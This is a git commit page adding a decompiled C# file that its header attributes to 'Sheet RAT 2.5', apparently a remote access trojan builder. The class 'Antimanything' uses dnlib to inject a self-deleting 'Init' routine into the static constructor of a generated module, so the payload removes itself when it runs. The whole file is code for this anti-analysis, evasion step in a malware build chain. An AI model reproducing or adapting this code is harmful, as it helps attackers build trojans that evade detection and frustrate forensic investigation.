initial commit
This commit is contained in:
@@ -0,0 +1,38 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Anti.Antimanything
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Anti.Runtime;
|
||||
using MindLated.Services;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Anti {
|
||||
|
||||
internal class Antimanything
|
||||
{
|
||||
public static void Execute(ModuleDef module)
|
||||
{
|
||||
ModuleDefMD moduleDefMd = ModuleDefMD.Load(typeof (SelfDeleteClass).Module);
|
||||
MethodDef staticConstructor = module.GlobalType.FindOrCreateStaticConstructor();
|
||||
int rid = (int) MDToken.ToRID(typeof (SelfDeleteClass).MetadataToken);
|
||||
MethodDef methodDef = (MethodDef) InjectHelper.Inject(moduleDefMd.ResolveTypeDef((uint) rid), module.GlobalType, module).Single<IDnlibDef>((Func<IDnlibDef, bool>) (method => method.Name == "Init"));
|
||||
staticConstructor.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, (IMethod) methodDef));
|
||||
foreach (MethodDef method in (IEnumerable<MethodDef>) module.GlobalType.Methods)
|
||||
{
|
||||
if (!(method.Name != ".ctor"))
|
||||
{
|
||||
module.GlobalType.Remove(method);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user